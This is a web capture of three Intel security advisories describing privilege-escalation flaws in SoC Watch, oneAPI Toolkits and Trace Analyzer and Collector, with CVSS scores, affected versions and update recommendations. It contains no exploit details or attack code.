A potential security vulnerability in the Intel® SoC Watch driver may allow escalation of privilege.  Intel is releasing software updates to mitigate this potential vulnerability.

**Vulnerability Details:**

CVEID: CVE-2023-30763

Description: Heap-based overflow in Intel(R) SoC Watch based software before version 2021.1 may allow a privileged user to potentially enable escalation of privilege via local access.

CVSS Base Score: 7.2 High

CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:N/I:H/A:H

**Affected Products:**

Intel® Battery Life Diagnostic Tool before version 1.2.

Intel® oneAPI Base Toolkit before version 2021.4.0.

**Recommendations:**

Intel recommends updating Intel® Battery Life Diagnostic Tool to version 1.2 or later.

Updates are available for download at this location:

https://downloadcenter.intel.com/download/29348/Intel-Battery-Life-Diagnostic-Tool

Intel recommends updating Intel® OneAPI Base Toolkit to version 2021.4.0 or later.

Updates are available for download at this location:

https://software.intel.com/content/www/us/en/develop/tools/oneapi/base-toolkit/download.html

**Acknowledgements:**

The following issue was found internally by Intel employees.  Intel would like to thank Anton Rechkov.

Intel, and nearly the entire technology industry, follows a disclosure practice called Coordinated Disclosure, under which a cybersecurity vulnerability is generally publicly disclosed only after mitigations are available.

**Revision History**

Revision

Date

Description

1.0

11/09/2021

Initial Release

1.1

05/09/2023

Updated CVE Number

**Legal Notices and Disclaimers**

Intel provides these materials as-is, with no express or implied warranties.

All products, dates, and figures specified are preliminary based on current expectations, and are subject to change without notice.

Intel products and services described may contain design defects or errors known as errata, which may cause the product to deviate from published specifications. Current characterized errata are available on request.

Intel products that have met their End of Servicing Updates may no longer receive functional and security updates. For additional details on support and servicing, please see this help article. 

Intel technologies’ features and benefits depend on system configuration and may require enabled hardware, software or service activation. Performance varies depending on system configuration. No product or component can be absolutely secure. Check with your system manufacturer or retailer or learn more at http://intel.com.

Some results have been estimated or simulated using internal Intel analysis or architecture simulation or modeling, and provided to you for informational purposes. Any differences in your system hardware, software or configuration may affect your actual performance.

© Intel Corporation.  Intel, the Intel logo, and other Intel marks are trademarks of Intel Corporation or its subsidiaries United States and other countries.  Other names and brands may be claimed as the property of others.

**Report a Vulnerability**

If you have information about a security issue or vulnerability with an **Intel branded product or technology**, please send an e-mail to secure@intel.com. Encrypt sensitive information using our PGP public key.

Please provide as much information as possible, including:

*   The products and versions affected
*   Detailed description of the vulnerability
*   Information on known exploits

A member of the Intel Product Security Team will review your e-mail and contact you to collaborate on resolving the issue. For more information on how Intel works to resolve security issues, see:

*   Vulnerability handling guidelines

For issues related to Intel's external web presence (Intel.com and related subdomains), please contact Intel's External Security Research team.

**Need product support?**

If you...

*   Have questions about the security features of an Intel product
*   Require technical support
*   Want product updates or patches

  
Please visit Support & Downloads.

*   Report a Vulnerability
*   Product Support

CVE-2023-30763: INTEL-SA-00547

Improper access control for Intel(R) oneAPI Toolkits before version 2021.1 Beta 10 may allow an authenticated user to potentially enable escalation of privilege via local access.

**Select Your Region**

Sign In to access restricted content

**Using Intel.com Search**

You can easily search the entire Intel.com site in several ways.

*   Brand Name: **Core i9**
*   Document Number: **123456**
*   Code Name: **Alder Lake**
*   Special Operators: **“Ice Lake”, Ice AND Lake, Ice OR Lake, Ice\***

**Quick Links**

You can also try the quick links below to see results for most popular searches.

*   Product Information
*   Support
*   Drivers & Software

**Recent Searches**

Sign In to access restricted content

**Advanced Search**

**Only search in**

Title Description Content ID

Sign in to access restricted content.

The browser version you are using is not recommended for this site.  
Please consider upgrading to the latest version of your browser by clicking one of the following links.

*   Safari
*   Chrome
*   Edge
*   Firefox

**Intel® oneAPI Toolkit Advisory**

**Summary: **

A potential security vulnerability in Intel® oneAPI Toolkits may allow escalation of privilege.  Intel is releasing software updates to mitigate this potential vulnerability.

**Vulnerability Details:**

CVEID: CVE-2023-29242

Description: Improper access control for Intel(R) oneAPI Toolkits before version 2021.1 Beta 10 may allow an authenticated user to potentially enable escalation of privilege via local access.

CVSS Base Score: 6.7 Medium

CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H

**Affected Products:**

All Intel® oneAPI Toolkits (Base, HPC, IoT, AI, DLFD, Rendering) before version 2021.1 Beta 10.

**Recommendations:**

Intel recommends updating Intel® oneAPI Toolkits to version 2021.1 Beta 10 or later.

Manual removal of all installed Beta versions prior to version 2021.1 Beta 10 is required, this removal is not done automatically.

Updates are available for download at this location: https://software.intel.com/content/www/us/en/develop/tools/oneapi/all-toolkits.html

**Acknowledgements:**

Intel would like to thank houjingyi for reporting this issue.

Intel, and nearly the entire technology industry, follows a disclosure practice called Coordinated Disclosure, under which a cybersecurity vulnerability is generally publicly disclosed only after mitigations are available.

**Revision History**

Revision

Date

Description

1.0

11/09/2021

Initial Release

1.1

05/09/2023

Updated CVE Number

**Legal Notices and Disclaimers**

Intel provides these materials as-is, with no express or implied warranties.

All products, dates, and figures specified are preliminary based on current expectations, and are subject to change without notice.

Intel products and services described may contain design defects or errors known as errata, which may cause the product to deviate from published specifications. Current characterized errata are available on request.

Intel products that have met their End of Servicing Updates may no longer receive functional and security updates. For additional details on support and servicing, please see this help article. 

Intel technologies’ features and benefits depend on system configuration and may require enabled hardware, software or service activation. Performance varies depending on system configuration. No product or component can be absolutely secure. Check with your system manufacturer or retailer or learn more at http://intel.com.

Some results have been estimated or simulated using internal Intel analysis or architecture simulation or modeling, and provided to you for informational purposes. Any differences in your system hardware, software or configuration may affect your actual performance.

© Intel Corporation.  Intel, the Intel logo, and other Intel marks are trademarks of Intel Corporation or its subsidiaries United States and other countries.  Other names and brands may be claimed as the property of others.

**Report a Vulnerability**

If you have information about a security issue or vulnerability with an **Intel branded product or technology**, please send an e-mail to secure@intel.com. Encrypt sensitive information using our PGP public key.

Please provide as much information as possible, including:

*   The products and versions affected
*   Detailed description of the vulnerability
*   Information on known exploits

A member of the Intel Product Security Team will review your e-mail and contact you to collaborate on resolving the issue. For more information on how Intel works to resolve security issues, see:

*   Vulnerability handling guidelines

For issues related to Intel's external web presence (Intel.com and related subdomains), please contact Intel's External Security Research team.

**Need product support?**

If you...

*   Have questions about the security features of an Intel product
*   Require technical support
*   Want product updates or patches

  
Please visit Support & Downloads.

*   Report a Vulnerability
*   Product Support

CVE-2023-29242: INTEL-SA-00551

Uncontrolled search path in the Intel(R) Trace Analyzer and Collector before version 2020 update 3 may allow an authenticated user to potentially enable escalation of privilege via local access.

**Select Your Region**

Sign In to access restricted content

**Using Intel.com Search**

You can easily search the entire Intel.com site in several ways.

*   Brand Name: **Core i9**
*   Document Number: **123456**
*   Code Name: **Alder Lake**
*   Special Operators: **“Ice Lake”, Ice AND Lake, Ice OR Lake, Ice\***

**Quick Links**

You can also try the quick links below to see results for most popular searches.

*   Product Information
*   Support
*   Drivers & Software

**Recent Searches**

Sign In to access restricted content

**Advanced Search**

**Only search in**

Title Description Content ID

Sign in to access restricted content.

The browser version you are using is not recommended for this site.  
Please consider upgrading to the latest version of your browser by clicking one of the following links.

*   Safari
*   Chrome
*   Edge
*   Firefox

**Intel® Trace Analyzer and Collector Advisory**

**Summary:**

A potential security vulnerability in the Intel® Trace Analyzer and Collector may allow an escalation of privilege.  Intel is releasing software updates to mitigate this potential vulnerability.

**Vulnerability Details:**

CVEID: CVE-2023-31197

Description: Uncontrolled search path in the Intel(R) Trace Analyzer and Collector before version 2020 update 3 may allow an authenticated user to potentially enable escalation of privilege via local access.

CVSS Base Score: 6.7 Medium

CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H

**Affected Products:**

Intel® Trace Analyzer and Collector before version 2020 update 3.

**Recommendation:**

Intel recommends updating the Intel® Trace Analyzer and Collector to version 2020 update 3 or later.

Updates are available for download at this location:

https://software.intel.com/content/www/us/en/develop/tools/oneapi/components/trace-analyzer.html

**Acknowledgements:**

Intel would like to thank Marius Gabriel Mihai for reporting this issue.

Intel, and nearly the entire technology industry, follows a disclosure practice called Coordinated Disclosure, under which a cybersecurity vulnerability is generally publicly disclosed only after mitigations are available.

**Revision History**

**Revision**

**Date**

**Description**

1.0

11/09/2021

Initial Release

2.0

05/09/2023

Updated CVE Number

**Legal Notices and Disclaimers**

Intel provides these materials as-is, with no express or implied warranties.

All products, dates, and figures specified are preliminary based on current expectations, and are subject to change without notice.

Intel products and services described may contain design defects or errors known as errata, which may cause the product to deviate from published specifications. Current characterized errata are available on request.

Intel products that have met their End of Servicing Updates may no longer receive functional and security updates. For additional details on support and servicing, please see this help article. 

Intel technologies’ features and benefits depend on system configuration and may require enabled hardware, software or service activation. Performance varies depending on system configuration. No product or component can be absolutely secure. Check with your system manufacturer or retailer or learn more at http://intel.com.

Some results have been estimated or simulated using internal Intel analysis or architecture simulation or modeling, and provided to you for informational purposes. Any differences in your system hardware, software or configuration may affect your actual performance.

© Intel Corporation.  Intel, the Intel logo, and other Intel marks are trademarks of Intel Corporation or its subsidiaries United States and other countries.  Other names and brands may be claimed as the property of others.

**Report a Vulnerability**

If you have information about a security issue or vulnerability with an **Intel branded product or technology**, please send an e-mail to secure@intel.com. Encrypt sensitive information using our PGP public key.

Please provide as much information as possible, including:

*   The products and versions affected
*   Detailed description of the vulnerability
*   Information on known exploits

A member of the Intel Product Security Team will review your e-mail and contact you to collaborate on resolving the issue. For more information on how Intel works to resolve security issues, see:

*   Vulnerability handling guidelines

For issues related to Intel's external web presence (Intel.com and related subdomains), please contact Intel's External Security Research team.

**Need product support?**

If you...

*   Have questions about the security features of an Intel product
*   Require technical support
*   Want product updates or patches

  
Please visit Support & Downloads.

*   Report a Vulnerability
*   Product Support

Tag

#intel